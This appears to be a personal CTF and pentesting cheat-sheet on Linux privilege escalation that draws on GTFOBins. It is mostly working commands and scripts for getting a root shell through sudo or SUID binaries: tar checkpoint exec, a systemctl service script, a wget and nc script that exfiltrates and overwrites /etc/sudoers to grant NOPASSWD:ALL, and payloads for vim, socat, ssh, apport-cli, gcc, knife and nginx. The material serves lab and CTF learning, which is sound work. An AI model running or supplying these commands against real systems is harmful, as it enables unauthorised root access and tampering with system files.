GTFOBins

GTFOBins (10.0k ⭐) a.k.a. "Get The Fuck Out" is a list of way to exploit binaries such as sed/tar/... to get a higher level of privileges.

Common use cases are:

Note that not every exploit may pop a shell. Some only allow you to edit some files, which may help getting root.

Example 🔥

You can only run tar using sudo. Run the command below from GTFOBins, and you will get a root shell.

$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

➡️ You can use GTFOBLookup (0.2k ⭐) for offline browsing.

➡️ You may need/want to create a root bash.

⚡ SUID systemctl script

Description: this script makes it easier to run several commands using systemctl.

Create a file script.sh with the contents below

TF=$(mktemp).service
echo "[Service]
Type=oneshot
ExecStart=/bin/sh -c '$@ > /tmp/output'
[Install]
WantedBy=multi-user.target" > $TF
systemctl -f link $TF
systemctl -f enable --now $TF
cat /tmp/output

Calls

$ chmod +x script.sh
$ ./script.sh id
$ ./script.sh ls -laR /root

⚡ SUDO wget script

Description: this script automate privilege escalation using wget.

It's quite easy to do it manually, but you need two machines (ex: your VM and the target). This script is complex because everything is done locally, without interacting with your VM!

  • Will use wget to fetch /etc/sudoers and nc to grab the result

  • Then, it will replace the line giving access to wget and give you the permission to run every command as root

  • Then, we will start a python web server, and use wget with -o to replace our new sudo file with the tampered one.

  • Finally, the script run sudo bash and open your shell as root

⚠️ The script may mess with your sudoers file if something goes wrong. I destroyed my VM 7 times before managing to make the script work 🌳. If you understand the commands used in the script, use them one by one, and check the tampered sudoers file (output) BEFORE overriding the current one.

file=/etc/sudoers
port=4444
# todo: use mktemp
output=stolenfile

# Working in /tmp
cd /tmp
# -d and -q 0 to quit when connection is closed
nc -dlnp $port -q 0 > $output &
# -q = quiet, and -T 1 = close after one second
sudo wget -q --post-file=$file localhost:$port -T 1
# remove the HTTP headers
sed -i '1,9d' $output
# replace the command with find
sed -i "s/\($(whoami).*\)/$(whoami)  ALL=(ALL) NOPASSWD:ALL/g" $output
# create a web server
python3 -m http.server $port &
pid=$(echo $!)
sleep 1 # let the webserver start
# get the file then kill the webserver
# replace /etc/sudoers
sudo wget -q localhost:$port/$output -O $file && kill $pid
# open the root shell
sudo bash

Random Payloads

If we are allowed to run a command as sudo:

  • Common commands
$ sudo vim -c ':!/bin/sh'
$ sudo socat stdin exec:/bin/bash
$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

devvortex

$ sudo /usr/bin/apport-cli --file-bug
> 1
> 2
> F # any key
> V # view report (open less)
:!/bin/bash
  • /usr/bin/systemctl status xxx.service
  • /bin/systemctl daemon-reload

attacking_common_applications vulnnet_node sau

While it may be secure, if a reader is opened, such as less, it may be leveraged to run commands e.g. using !/bin/bash for less.

Otherwise, if you can reload services, then find if there is a service you can edit, edit it, and reload them.

  • gcc special usages
$ gcc -x c /etc/passwd             # read file
$ gcc -Xlinker -o/tmp/denylist.txt # delete file
  • /usr/bin/knife: knife can be exploited in many ways

knife

$ sudo knife environment edit _default -e vim # -> sudo vim
$ sudo knife environment edit _default -e rootbash.sh
$ sudo knife exec --exec "exec '/bin/sh -i'"
$ echo -n 'exec "/bin/bash -i"' > config.rb
$ sudo knife user list -c config.rb
  • nginx can be used to read files. It may also be used to write files using dav_methods PUT;. For instance, adding an entry in authorized keys or sudoers.

broker

$ cat $(pwd)/test.conf
user root;
# each URL is injected in LD PRELOAD
# leading to the execution of junk then our custom .so
# error_log /etc/ld.so.preload warn;
events {
    worker_connections 1024;
}
http {
    server {
       listen 80;
       root /;
       autoindex on;
       # dav_methods PUT;
    }
}
$ sudo /path/to/nginx -s stop
$ sudo /path/to/nginx -c $(pwd)/test.conf